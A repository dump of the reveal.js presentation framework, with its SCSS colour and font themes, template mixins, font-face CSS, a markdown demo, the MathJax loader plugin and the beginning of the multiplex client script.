37 | $heading3Size: 1.3em;
38 | $heading4Size: 1.0em;
39 |
40 | section.has-light-background {
41 | &, h1, h2, h3, h4, h5, h6 {
42 | color: #222;
43 | }
44 | }
45 |
46 |
47 | // Theme template ------------------------------
48 | @import "../template/theme";
49 | // ---------------------------------------------
--------------------------------------------------------------------------------
/slides/reveal.js/css/theme/source/blood.scss:
--------------------------------------------------------------------------------
1 | /**
2 | * Blood theme for reveal.js
3 | * Author: Walther http://github.com/Walther
4 | *
5 | * Designed to be used with highlight.js theme
6 | * "monokai_sublime.css" available from
7 | * https://github.com/isagalaev/highlight.js/
8 | *
9 | * For other themes, change $codeBackground accordingly.
10 | *
11 | */
12 |
13 | // Default mixins and settings -----------------
14 | @import "../template/mixins";
15 | @import "../template/settings";
16 | // ---------------------------------------------
17 |
18 | // Include theme-specific fonts
19 |
20 | @import url(https://fonts.googleapis.com/css?family=Ubuntu:300,700,300italic,700italic);
21 |
22 | // Colors used in the theme
23 | $blood: #a23;
24 | $coal: #222;
25 | $codeBackground: #23241f;
26 |
27 | $backgroundColor: $coal;
28 |
29 | // Main text
30 | $mainFont: Ubuntu, 'sans-serif';
31 | $mainColor: #eee;
32 |
33 | // Headings
34 | $headingFont: Ubuntu, 'sans-serif';
35 | $headingTextShadow: 2px 2px 2px $coal;
36 |
37 | // h1 shadow, borrowed humbly from
38 | // (c) Default theme by Hakim El Hattab
39 | $heading1TextShadow: 0 1px 0 #ccc, 0 2px 0 #c9c9c9, 0 3px 0 #bbb, 0 4px 0 #b9b9b9, 0 5px 0 #aaa, 0 6px 1px rgba(0,0,0,.1), 0 0 5px rgba(0,0,0,.1), 0 1px 3px rgba(0,0,0,.3), 0 3px 5px rgba(0,0,0,.2), 0 5px 10px rgba(0,0,0,.25), 0 20px 20px rgba(0,0,0,.15);
40 |
41 | // Links
42 | $linkColor: $blood;
43 | $linkColorHover: lighten( $linkColor, 20% );
44 |
45 | // Text selection
46 | $selectionBackgroundColor: $blood;
47 | $selectionColor: #fff;
48 |
49 |
50 | // Theme template ------------------------------
51 | @import "../template/theme";
52 | // ---------------------------------------------
53 |
54 | // some overrides after theme template import
55 |
56 | .reveal p {
57 | font-weight: 300;
58 | text-shadow: 1px 1px $coal;
59 | }
60 |
61 | .reveal h1,
62 | .reveal h2,
63 | .reveal h3,
64 | .reveal h4,
65 | .reveal h5,
66 | .reveal h6 {
67 | font-weight: 700;
68 | }
69 |
70 | .reveal p code {
71 | background-color: $codeBackground;
72 | display: inline-block;
73 | border-radius: 7px;
74 | }
75 |
76 | .reveal small code {
77 | vertical-align: baseline;
78 | }
--------------------------------------------------------------------------------
/slides/reveal.js/css/theme/source/league.scss:
--------------------------------------------------------------------------------
1 | /**
2 | * League theme for reveal.js.
3 | *
4 | * This was the default theme pre-3.0.0.
5 | *
6 | * Copyright (C) 2011-2012 Hakim El Hattab, http://hakim.se
7 | */
8 |
9 |
10 | // Default mixins and settings -----------------
11 | @import "../template/mixins";
12 | @import "../template/settings";
13 | // ---------------------------------------------
14 |
15 |
16 |
17 | // Include theme-specific fonts
18 | @import url(../../lib/font/league-gothic/league-gothic.css);
19 | @import url(https://fonts.googleapis.com/css?family=Lato:400,700,400italic,700italic);
20 |
21 | // Override theme settings (see ../template/settings.scss)
22 | $headingTextShadow: 0px 0px 6px rgba(0,0,0,0.2);
23 | $heading1TextShadow: 0 1px 0 #ccc, 0 2px 0 #c9c9c9, 0 3px 0 #bbb, 0 4px 0 #b9b9b9, 0 5px 0 #aaa, 0 6px 1px rgba(0,0,0,.1), 0 0 5px rgba(0,0,0,.1), 0 1px 3px rgba(0,0,0,.3), 0 3px 5px rgba(0,0,0,.2), 0 5px 10px rgba(0,0,0,.25), 0 20px 20px rgba(0,0,0,.15);
24 |
25 | // Background generator
26 | @mixin bodyBackground() {
27 | @include radial-gradient( rgba(28,30,32,1), rgba(85,90,95,1) );
28 | }
29 |
30 |
31 |
32 | // Theme template ------------------------------
33 | @import "../template/theme";
34 | // ---------------------------------------------
--------------------------------------------------------------------------------
/slides/reveal.js/css/theme/source/moon.scss:
--------------------------------------------------------------------------------
1 | /**
2 | * Solarized Dark theme for reveal.js.
3 | * Author: Achim Staebler
4 | */
5 |
6 |
7 | // Default mixins and settings -----------------
8 | @import "../template/mixins";
9 | @import "../template/settings";
10 | // ---------------------------------------------
11 |
12 |
13 |
14 | // Include theme-specific fonts
15 | @import url(../../lib/font/league-gothic/league-gothic.css);
16 | @import url(https://fonts.googleapis.com/css?family=Lato:400,700,400italic,700italic);
17 |
18 | /**
19 | * Solarized colors by Ethan Schoonover
20 | */
21 | html * {
22 | color-profile: sRGB;
23 | rendering-intent: auto;
24 | }
25 |
26 | // Solarized colors
27 | $base03: #002b36;
28 | $base02: #073642;
29 | $base01: #586e75;
30 | $base00: #657b83;
31 | $base0: #839496;
32 | $base1: #93a1a1;
33 | $base2: #eee8d5;
34 | $base3: #fdf6e3;
35 | $yellow: #b58900;
36 | $orange: #cb4b16;
37 | $red: #dc322f;
38 | $magenta: #d33682;
39 | $violet: #6c71c4;
40 | $blue: #268bd2;
41 | $cyan: #2aa198;
42 | $green: #859900;
43 |
44 | // Override theme settings (see ../template/settings.scss)
45 | $mainColor: $base1;
46 | $headingColor: $base2;
47 | $headingTextShadow: none;
48 | $backgroundColor: $base03;
49 | $linkColor: $blue;
50 | $linkColorHover: lighten( $linkColor, 20% );
51 | $selectionBackgroundColor: $magenta;
52 |
53 |
54 |
55 | // Theme template ------------------------------
56 | @import "../template/theme";
57 | // ---------------------------------------------
58 |
--------------------------------------------------------------------------------
/slides/reveal.js/css/theme/source/night.scss:
--------------------------------------------------------------------------------
1 | /**
2 | * Black theme for reveal.js.
3 | *
4 | * Copyright (C) 2011-2012 Hakim El Hattab, http://hakim.se
5 | */
6 |
7 |
8 | // Default mixins and settings -----------------
9 | @import "../template/mixins";
10 | @import "../template/settings";
11 | // ---------------------------------------------
12 |
13 |
14 | // Include theme-specific fonts
15 | @import url(https://fonts.googleapis.com/css?family=Montserrat:700);
16 | @import url(https://fonts.googleapis.com/css?family=Open+Sans:400,700,400italic,700italic);
17 |
18 |
19 | // Override theme settings (see ../template/settings.scss)
20 | $backgroundColor: #111;
21 |
22 | $mainFont: 'Open Sans', sans-serif;
23 | $linkColor: #e7ad52;
24 | $linkColorHover: lighten( $linkColor, 20% );
25 | $headingFont: 'Montserrat', Impact, sans-serif;
26 | $headingTextShadow: none;
27 | $headingLetterSpacing: -0.03em;
28 | $headingTextTransform: none;
29 | $selectionBackgroundColor: #e7ad52;
30 |
31 |
32 | // Theme template ------------------------------
33 | @import "../template/theme";
34 | // ---------------------------------------------
--------------------------------------------------------------------------------
/slides/reveal.js/css/theme/source/serif.scss:
--------------------------------------------------------------------------------
1 | /**
2 | * A simple theme for reveal.js presentations, similar
3 | * to the default theme. The accent color is brown.
4 | *
5 | * This theme is Copyright (C) 2012-2013 Owen Versteeg, http://owenversteeg.com - it is MIT licensed.
6 | */
7 |
8 |
9 | // Default mixins and settings -----------------
10 | @import "../template/mixins";
11 | @import "../template/settings";
12 | // ---------------------------------------------
13 |
14 |
15 |
16 | // Override theme settings (see ../template/settings.scss)
17 | $mainFont: 'Palatino Linotype', 'Book Antiqua', Palatino, FreeSerif, serif;
18 | $mainColor: #000;
19 | $headingFont: 'Palatino Linotype', 'Book Antiqua', Palatino, FreeSerif, serif;
20 | $headingColor: #383D3D;
21 | $headingTextShadow: none;
22 | $headingTextTransform: none;
23 | $backgroundColor: #F0F1EB;
24 | $linkColor: #51483D;
25 | $linkColorHover: lighten( $linkColor, 20% );
26 | $selectionBackgroundColor: #26351C;
27 |
28 | .reveal a {
29 | line-height: 1.3em;
30 | }
31 |
32 |
33 | // Theme template ------------------------------
34 | @import "../template/theme";
35 | // ---------------------------------------------
36 |
--------------------------------------------------------------------------------
/slides/reveal.js/css/theme/source/simple.scss:
--------------------------------------------------------------------------------
1 | /**
2 | * A simple theme for reveal.js presentations, similar
3 | * to the default theme. The accent color is darkblue.
4 | *
5 | * This theme is Copyright (C) 2012 Owen Versteeg, https://github.com/StereotypicalApps. It is MIT licensed.
6 | * reveal.js is Copyright (C) 2011-2012 Hakim El Hattab, http://hakim.se
7 | */
8 |
9 |
10 | // Default mixins and settings -----------------
11 | @import "../template/mixins";
12 | @import "../template/settings";
13 | // ---------------------------------------------
14 |
15 |
16 |
17 | // Include theme-specific fonts
18 | @import url(https://fonts.googleapis.com/css?family=News+Cycle:400,700);
19 | @import url(https://fonts.googleapis.com/css?family=Lato:400,700,400italic,700italic);
20 |
21 |
22 | // Override theme settings (see ../template/settings.scss)
23 | $mainFont: 'Lato', sans-serif;
24 | $mainColor: #000;
25 | $headingFont: 'News Cycle', Impact, sans-serif;
26 | $headingColor: #000;
27 | $headingTextShadow: none;
28 | $headingTextTransform: none;
29 | $backgroundColor: #fff;
30 | $linkColor: #00008B;
31 | $linkColorHover: lighten( $linkColor, 20% );
32 | $selectionBackgroundColor: rgba(0, 0, 0, 0.99);
33 |
34 | section.has-dark-background {
35 | &, h1, h2, h3, h4, h5, h6 {
36 | color: #fff;
37 | }
38 | }
39 |
40 |
41 | // Theme template ------------------------------
42 | @import "../template/theme";
43 | // ---------------------------------------------
--------------------------------------------------------------------------------
/slides/reveal.js/css/theme/source/sky.scss:
--------------------------------------------------------------------------------
1 | /**
2 | * Sky theme for reveal.js.
3 | *
4 | * Copyright (C) 2011-2012 Hakim El Hattab, http://hakim.se
5 | */
6 |
7 |
8 | // Default mixins and settings -----------------
9 | @import "../template/mixins";
10 | @import "../template/settings";
11 | // ---------------------------------------------
12 |
13 |
14 |
15 | // Include theme-specific fonts
16 | @import url(https://fonts.googleapis.com/css?family=Quicksand:400,700,400italic,700italic);
17 | @import url(https://fonts.googleapis.com/css?family=Open+Sans:400italic,700italic,400,700);
18 |
19 |
20 | // Override theme settings (see ../template/settings.scss)
21 | $mainFont: 'Open Sans', sans-serif;
22 | $mainColor: #333;
23 | $headingFont: 'Quicksand', sans-serif;
24 | $headingColor: #333;
25 | $headingLetterSpacing: -0.08em;
26 | $headingTextShadow: none;
27 | $backgroundColor: #f7fbfc;
28 | $linkColor: #3b759e;
29 | $linkColorHover: lighten( $linkColor, 20% );
30 | $selectionBackgroundColor: #134674;
31 |
32 | // Fix links so they are not cut off
33 | .reveal a {
34 | line-height: 1.3em;
35 | }
36 |
37 | // Background generator
38 | @mixin bodyBackground() {
39 | @include radial-gradient( #add9e4, #f7fbfc );
40 | }
41 |
42 |
43 |
44 | // Theme template ------------------------------
45 | @import "../template/theme";
46 | // ---------------------------------------------
47 |
--------------------------------------------------------------------------------
/slides/reveal.js/css/theme/source/solarized.scss:
--------------------------------------------------------------------------------
1 | /**
2 | * Solarized Light theme for reveal.js.
3 | * Author: Achim Staebler
4 | */
5 |
6 |
7 | // Default mixins and settings -----------------
8 | @import "../template/mixins";
9 | @import "../template/settings";
10 | // ---------------------------------------------
11 |
12 |
13 |
14 | // Include theme-specific fonts
15 | @import url(../../lib/font/league-gothic/league-gothic.css);
16 | @import url(https://fonts.googleapis.com/css?family=Lato:400,700,400italic,700italic);
17 |
18 |
19 | /**
20 | * Solarized colors by Ethan Schoonover
21 | */
22 | html * {
23 | color-profile: sRGB;
24 | rendering-intent: auto;
25 | }
26 |
27 | // Solarized colors
28 | $base03: #002b36;
29 | $base02: #073642;
30 | $base01: #586e75;
31 | $base00: #657b83;
32 | $base0: #839496;
33 | $base1: #93a1a1;
34 | $base2: #eee8d5;
35 | $base3: #fdf6e3;
36 | $yellow: #b58900;
37 | $orange: #cb4b16;
38 | $red: #dc322f;
39 | $magenta: #d33682;
40 | $violet: #6c71c4;
41 | $blue: #268bd2;
42 | $cyan: #2aa198;
43 | $green: #859900;
44 |
45 | // Override theme settings (see ../template/settings.scss)
46 | $mainColor: $base00;
47 | $headingColor: $base01;
48 | $headingTextShadow: none;
49 | $backgroundColor: $base3;
50 | $linkColor: $blue;
51 | $linkColorHover: lighten( $linkColor, 20% );
52 | $selectionBackgroundColor: $magenta;
53 |
54 | // Background generator
55 | // @mixin bodyBackground() {
56 | // @include radial-gradient( rgba($base3,1), rgba(lighten($base3, 20%),1) );
57 | // }
58 |
59 |
60 |
61 | // Theme template ------------------------------
62 | @import "../template/theme";
63 | // ---------------------------------------------
64 |
--------------------------------------------------------------------------------
/slides/reveal.js/css/theme/source/white.scss:
--------------------------------------------------------------------------------
1 | /**
2 | * White theme for reveal.js. This is the opposite of the 'black' theme.
3 | *
4 | * By Hakim El Hattab, http://hakim.se
5 | */
6 |
7 |
8 | // Default mixins and settings -----------------
9 | @import "../template/mixins";
10 | @import "../template/settings";
11 | // ---------------------------------------------
12 |
13 |
14 | // Include theme-specific fonts
15 | @import url(../../lib/font/source-sans-pro/source-sans-pro.css);
16 |
17 |
18 | // Override theme settings (see ../template/settings.scss)
19 | $backgroundColor: #fff;
20 |
21 | $mainColor: #222;
22 | $headingColor: #222;
23 |
24 | $mainFontSize: 42px;
25 | $mainFont: 'Source Sans Pro', Helvetica, sans-serif;
26 | $headingFont: 'Source Sans Pro', Helvetica, sans-serif;
27 | $headingTextShadow: none;
28 | $headingLetterSpacing: normal;
29 | $headingTextTransform: uppercase;
30 | $headingFontWeight: 600;
31 | $linkColor: #2a76dd;
32 | $linkColorHover: lighten( $linkColor, 15% );
33 | $selectionBackgroundColor: lighten( $linkColor, 25% );
34 |
35 | $heading1Size: 2.5em;
36 | $heading2Size: 1.6em;
37 | $heading3Size: 1.3em;
38 | $heading4Size: 1.0em;
39 |
40 | section.has-dark-background {
41 | &, h1, h2, h3, h4, h5, h6 {
42 | color: #fff;
43 | }
44 | }
45 |
46 |
47 | // Theme template ------------------------------
48 | @import "../template/theme";
49 | // ---------------------------------------------
--------------------------------------------------------------------------------
/slides/reveal.js/css/theme/template/mixins.scss:
--------------------------------------------------------------------------------
1 | @mixin vertical-gradient( $top, $bottom ) {
2 | background: $top;
3 | background: -moz-linear-gradient( top, $top 0%, $bottom 100% );
4 | background: -webkit-gradient( linear, left top, left bottom, color-stop(0%,$top), color-stop(100%,$bottom) );
5 | background: -webkit-linear-gradient( top, $top 0%, $bottom 100% );
6 | background: -o-linear-gradient( top, $top 0%, $bottom 100% );
7 | background: -ms-linear-gradient( top, $top 0%, $bottom 100% );
8 | background: linear-gradient( top, $top 0%, $bottom 100% );
9 | }
10 |
11 | @mixin horizontal-gradient( $top, $bottom ) {
12 | background: $top;
13 | background: -moz-linear-gradient( left, $top 0%, $bottom 100% );
14 | background: -webkit-gradient( linear, left top, right top, color-stop(0%,$top), color-stop(100%,$bottom) );
15 | background: -webkit-linear-gradient( left, $top 0%, $bottom 100% );
16 | background: -o-linear-gradient( left, $top 0%, $bottom 100% );
17 | background: -ms-linear-gradient( left, $top 0%, $bottom 100% );
18 | background: linear-gradient( left, $top 0%, $bottom 100% );
19 | }
20 |
21 | @mixin radial-gradient( $outer, $inner, $type: circle ) {
22 | background: $outer;
23 | background: -moz-radial-gradient( center, $type cover, $inner 0%, $outer 100% );
24 | background: -webkit-gradient( radial, center center, 0px, center center, 100%, color-stop(0%,$inner), color-stop(100%,$outer) );
25 | background: -webkit-radial-gradient( center, $type cover, $inner 0%, $outer 100% );
26 | background: -o-radial-gradient( center, $type cover, $inner 0%, $outer 100% );
27 | background: -ms-radial-gradient( center, $type cover, $inner 0%, $outer 100% );
28 | background: radial-gradient( center, $type cover, $inner 0%, $outer 100% );
29 | }
--------------------------------------------------------------------------------
/slides/reveal.js/css/theme/template/settings.scss:
--------------------------------------------------------------------------------
1 | // Base settings for all themes that can optionally be
2 | // overridden by the super-theme
3 |
4 | // Background of the presentation
5 | $backgroundColor: #2b2b2b;
6 |
7 | // Primary/body text
8 | $mainFont: 'Lato', sans-serif;
9 | $mainFontSize: 40px;
10 | $mainColor: #eee;
11 |
12 | // Vertical spacing between blocks of text
13 | $blockMargin: 20px;
14 |
15 | // Headings
16 | $headingMargin: 0 0 $blockMargin 0;
17 | $headingFont: 'League Gothic', Impact, sans-serif;
18 | $headingColor: #eee;
19 | $headingLineHeight: 1.2;
20 | $headingLetterSpacing: normal;
21 | $headingTextTransform: uppercase;
22 | $headingTextShadow: none;
23 | $headingFontWeight: normal;
24 | $heading1TextShadow: $headingTextShadow;
25 |
26 | $heading1Size: 3.77em;
27 | $heading2Size: 2.11em;
28 | $heading3Size: 1.55em;
29 | $heading4Size: 1.00em;
30 |
31 | // Links and actions
32 | $linkColor: #13DAEC;
33 | $linkColorHover: lighten( $linkColor, 20% );
34 |
35 | // Text selection
36 | $selectionBackgroundColor: #FF5E99;
37 | $selectionColor: #fff;
38 |
39 | // Generates the presentation background, can be overridden
40 | // to return a background image or gradient
41 | @mixin bodyBackground() {
42 | background: $backgroundColor;
43 | }
--------------------------------------------------------------------------------
/slides/reveal.js/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | reveal.js
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
23 |
24 |
25 |
31 |
32 |
33 |
34 |
35 |
48 |
49 |
50 |
--------------------------------------------------------------------------------
/slides/reveal.js/lib/css/zenburn.css:
--------------------------------------------------------------------------------
1 | /*
2 |
3 | Zenburn style from voldmar.ru (c) Vladimir Epifanov
4 | based on dark.css by Ivan Sagalaev
5 |
6 | */
7 |
8 | .hljs {
9 | display: block;
10 | overflow-x: auto;
11 | padding: 0.5em;
12 | background: #3f3f3f;
13 | color: #dcdcdc;
14 | }
15 |
16 | .hljs-keyword,
17 | .hljs-selector-tag,
18 | .hljs-tag {
19 | color: #e3ceab;
20 | }
21 |
22 | .hljs-template-tag {
23 | color: #dcdcdc;
24 | }
25 |
26 | .hljs-number {
27 | color: #8cd0d3;
28 | }
29 |
30 | .hljs-variable,
31 | .hljs-template-variable,
32 | .hljs-attribute {
33 | color: #efdcbc;
34 | }
35 |
36 | .hljs-literal {
37 | color: #efefaf;
38 | }
39 |
40 | .hljs-subst {
41 | color: #8f8f8f;
42 | }
43 |
44 | .hljs-title,
45 | .hljs-name,
46 | .hljs-selector-id,
47 | .hljs-selector-class,
48 | .hljs-section,
49 | .hljs-type {
50 | color: #efef8f;
51 | }
52 |
53 | .hljs-symbol,
54 | .hljs-bullet,
55 | .hljs-link {
56 | color: #dca3a3;
57 | }
58 |
59 | .hljs-deletion,
60 | .hljs-string,
61 | .hljs-built_in,
62 | .hljs-builtin-name {
63 | color: #cc9393;
64 | }
65 |
66 | .hljs-addition,
67 | .hljs-comment,
68 | .hljs-quote,
69 | .hljs-meta {
70 | color: #7f9f7f;
71 | }
72 |
73 |
74 | .hljs-emphasis {
75 | font-style: italic;
76 | }
77 |
78 | .hljs-strong {
79 | font-weight: bold;
80 | }
81 |
--------------------------------------------------------------------------------
/slides/reveal.js/lib/font/league-gothic/LICENSE:
--------------------------------------------------------------------------------
1 | SIL Open Font License (OFL)
2 | http://scripts.sil.org/cms/scripts/page.php?site_id=nrsi&id=OFL
3 |
--------------------------------------------------------------------------------
/slides/reveal.js/lib/font/league-gothic/league-gothic.css:
--------------------------------------------------------------------------------
1 | @font-face {
2 | font-family: 'League Gothic';
3 | src: url('league-gothic.eot');
4 | src: url('league-gothic.eot?#iefix') format('embedded-opentype'),
5 | url('league-gothic.woff') format('woff'),
6 | url('league-gothic.ttf') format('truetype');
7 |
8 | font-weight: normal;
9 | font-style: normal;
10 | }
--------------------------------------------------------------------------------
/slides/reveal.js/lib/font/league-gothic/league-gothic.eot:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/reveal.js/lib/font/league-gothic/league-gothic.eot
--------------------------------------------------------------------------------
/slides/reveal.js/lib/font/league-gothic/league-gothic.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/reveal.js/lib/font/league-gothic/league-gothic.ttf
--------------------------------------------------------------------------------
/slides/reveal.js/lib/font/league-gothic/league-gothic.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/reveal.js/lib/font/league-gothic/league-gothic.woff
--------------------------------------------------------------------------------
/slides/reveal.js/lib/font/source-sans-pro/source-sans-pro-italic.eot:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/reveal.js/lib/font/source-sans-pro/source-sans-pro-italic.eot
--------------------------------------------------------------------------------
/slides/reveal.js/lib/font/source-sans-pro/source-sans-pro-italic.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/reveal.js/lib/font/source-sans-pro/source-sans-pro-italic.ttf
--------------------------------------------------------------------------------
/slides/reveal.js/lib/font/source-sans-pro/source-sans-pro-italic.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/reveal.js/lib/font/source-sans-pro/source-sans-pro-italic.woff
--------------------------------------------------------------------------------
/slides/reveal.js/lib/font/source-sans-pro/source-sans-pro-regular.eot:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/reveal.js/lib/font/source-sans-pro/source-sans-pro-regular.eot
--------------------------------------------------------------------------------
/slides/reveal.js/lib/font/source-sans-pro/source-sans-pro-regular.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/reveal.js/lib/font/source-sans-pro/source-sans-pro-regular.ttf
--------------------------------------------------------------------------------
/slides/reveal.js/lib/font/source-sans-pro/source-sans-pro-regular.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/reveal.js/lib/font/source-sans-pro/source-sans-pro-regular.woff
--------------------------------------------------------------------------------
/slides/reveal.js/lib/font/source-sans-pro/source-sans-pro-semibold.eot:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/reveal.js/lib/font/source-sans-pro/source-sans-pro-semibold.eot
--------------------------------------------------------------------------------
/slides/reveal.js/lib/font/source-sans-pro/source-sans-pro-semibold.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/reveal.js/lib/font/source-sans-pro/source-sans-pro-semibold.ttf
--------------------------------------------------------------------------------
/slides/reveal.js/lib/font/source-sans-pro/source-sans-pro-semibold.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/reveal.js/lib/font/source-sans-pro/source-sans-pro-semibold.woff
--------------------------------------------------------------------------------
/slides/reveal.js/lib/font/source-sans-pro/source-sans-pro-semibolditalic.eot:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/reveal.js/lib/font/source-sans-pro/source-sans-pro-semibolditalic.eot
--------------------------------------------------------------------------------
/slides/reveal.js/lib/font/source-sans-pro/source-sans-pro-semibolditalic.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/reveal.js/lib/font/source-sans-pro/source-sans-pro-semibolditalic.ttf
--------------------------------------------------------------------------------
/slides/reveal.js/lib/font/source-sans-pro/source-sans-pro-semibolditalic.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/reveal.js/lib/font/source-sans-pro/source-sans-pro-semibolditalic.woff
--------------------------------------------------------------------------------
/slides/reveal.js/lib/font/source-sans-pro/source-sans-pro.css:
--------------------------------------------------------------------------------
1 | @font-face {
2 | font-family: 'Source Sans Pro';
3 | src: url('source-sans-pro-regular.eot');
4 | src: url('source-sans-pro-regular.eot?#iefix') format('embedded-opentype'),
5 | url('source-sans-pro-regular.woff') format('woff'),
6 | url('source-sans-pro-regular.ttf') format('truetype');
7 | font-weight: normal;
8 | font-style: normal;
9 | }
10 |
11 | @font-face {
12 | font-family: 'Source Sans Pro';
13 | src: url('source-sans-pro-italic.eot');
14 | src: url('source-sans-pro-italic.eot?#iefix') format('embedded-opentype'),
15 | url('source-sans-pro-italic.woff') format('woff'),
16 | url('source-sans-pro-italic.ttf') format('truetype');
17 | font-weight: normal;
18 | font-style: italic;
19 | }
20 |
21 | @font-face {
22 | font-family: 'Source Sans Pro';
23 | src: url('source-sans-pro-semibold.eot');
24 | src: url('source-sans-pro-semibold.eot?#iefix') format('embedded-opentype'),
25 | url('source-sans-pro-semibold.woff') format('woff'),
26 | url('source-sans-pro-semibold.ttf') format('truetype');
27 | font-weight: 600;
28 | font-style: normal;
29 | }
30 |
31 | @font-face {
32 | font-family: 'Source Sans Pro';
33 | src: url('source-sans-pro-semibolditalic.eot');
34 | src: url('source-sans-pro-semibolditalic.eot?#iefix') format('embedded-opentype'),
35 | url('source-sans-pro-semibolditalic.woff') format('woff'),
36 | url('source-sans-pro-semibolditalic.ttf') format('truetype');
37 | font-weight: 600;
38 | font-style: italic;
39 | }
--------------------------------------------------------------------------------
/slides/reveal.js/lib/js/classList.js:
--------------------------------------------------------------------------------
1 | /*! @source http://purl.eligrey.com/github/classList.js/blob/master/classList.js*/
2 | if(typeof document!=="undefined"&&!("classList" in document.createElement("a"))){(function(j){var a="classList",f="prototype",m=(j.HTMLElement||j.Element)[f],b=Object,k=String[f].trim||function(){return this.replace(/^\s+|\s+$/g,"")},c=Array[f].indexOf||function(q){var p=0,o=this.length;for(;p=4.0.0"
24 | },
25 | "devDependencies": {
26 | "express": "~4.14.0",
27 | "grunt": "~1.0.1",
28 | "grunt-autoprefixer": "~3.0.3",
29 | "grunt-cli": "~1.2.0",
30 | "grunt-contrib-connect": "~0.11.2",
31 | "grunt-contrib-cssmin": "~0.14.0",
32 | "grunt-contrib-jshint": "~0.11.3",
33 | "grunt-contrib-qunit": "~1.2.0",
34 | "grunt-contrib-uglify": "~0.9.2",
35 | "grunt-contrib-watch": "~1.0.0",
36 | "grunt-sass": "~1.2.0",
37 | "grunt-retire": "~0.3.10",
38 | "grunt-zip": "~0.17.1",
39 | "mustache": "~2.2.1",
40 | "node-sass": "~3.13.0",
41 | "socket.io": "^1.4.8"
42 | },
43 | "license": "MIT"
44 | }
45 |
--------------------------------------------------------------------------------
/slides/reveal.js/plugin/markdown/example.md:
--------------------------------------------------------------------------------
1 | # Markdown Demo
2 |
3 |
4 |
5 | ## External 1.1
6 |
7 | Content 1.1
8 |
9 | Note: This will only appear in the speaker notes window.
10 |
11 |
12 | ## External 1.2
13 |
14 | Content 1.2
15 |
16 |
17 |
18 | ## External 2
19 |
20 | Content 2.1
21 |
22 |
23 |
24 | ## External 3.1
25 |
26 | Content 3.1
27 |
28 |
29 | ## External 3.2
30 |
31 | Content 3.2
32 |
--------------------------------------------------------------------------------
/slides/reveal.js/plugin/math/math.js:
--------------------------------------------------------------------------------
1 | /**
2 | * A plugin which enables rendering of math equations inside
3 | * of reveal.js slides. Essentially a thin wrapper for MathJax.
4 | *
5 | * @author Hakim El Hattab
6 | */
7 | var RevealMath = window.RevealMath || (function(){
8 |
9 | var options = Reveal.getConfig().math || {};
10 | options.mathjax = options.mathjax || 'https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.0/MathJax.js';
11 | options.config = options.config || 'TeX-AMS_HTML-full';
12 |
13 | loadScript( options.mathjax + '?config=' + options.config, function() {
14 |
15 | MathJax.Hub.Config({
16 | messageStyle: 'none',
17 | tex2jax: {
18 | inlineMath: [['$','$'],['\\(','\\)']] ,
19 | skipTags: ['script','noscript','style','textarea','pre']
20 | },
21 | skipStartupTypeset: true
22 | });
23 |
24 | // Typeset followed by an immediate reveal.js layout since
25 | // the typesetting process could affect slide height
26 | MathJax.Hub.Queue( [ 'Typeset', MathJax.Hub ] );
27 | MathJax.Hub.Queue( Reveal.layout );
28 |
29 | // Reprocess equations in slides when they turn visible
30 | Reveal.addEventListener( 'slidechanged', function( event ) {
31 |
32 | MathJax.Hub.Queue( [ 'Typeset', MathJax.Hub, event.currentSlide ] );
33 |
34 | } );
35 |
36 | } );
37 |
38 | function loadScript( url, callback ) {
39 |
40 | var head = document.querySelector( 'head' );
41 | var script = document.createElement( 'script' );
42 | script.type = 'text/javascript';
43 | script.src = url;
44 |
45 | // Wrapper for callback to make sure it only fires once
46 | var finish = function() {
47 | if( typeof callback === 'function' ) {
48 | callback.call();
49 | callback = null;
50 | }
51 | }
52 |
53 | script.onload = finish;
54 |
55 | // IE
56 | script.onreadystatechange = function() {
57 | if ( this.readyState === 'loaded' ) {
58 | finish();
59 | }
60 | }
61 |
62 | // Normal browsers
63 | head.appendChild( script );
64 |
65 | }
66 |
67 | })();
68 |
--------------------------------------------------------------------------------
/slides/reveal.js/plugin/multiplex/client.js:
--------------------------------------------------------------------------------
1 | (function() {
2 | var multiplex = Reveal.getConfig().multiplex;
3 | var socketId = multiplex.id;
4 | var socket = io.connect(multiplex.url);
5 |
6 | socket.on(multiplex.id, function(data) {
7 | // ignore data from sockets that aren't ours
8 | if (data.socketId !== socketId) { return; }
9 | if( window.location.host === 'localhost:1947' ) return;
10 |
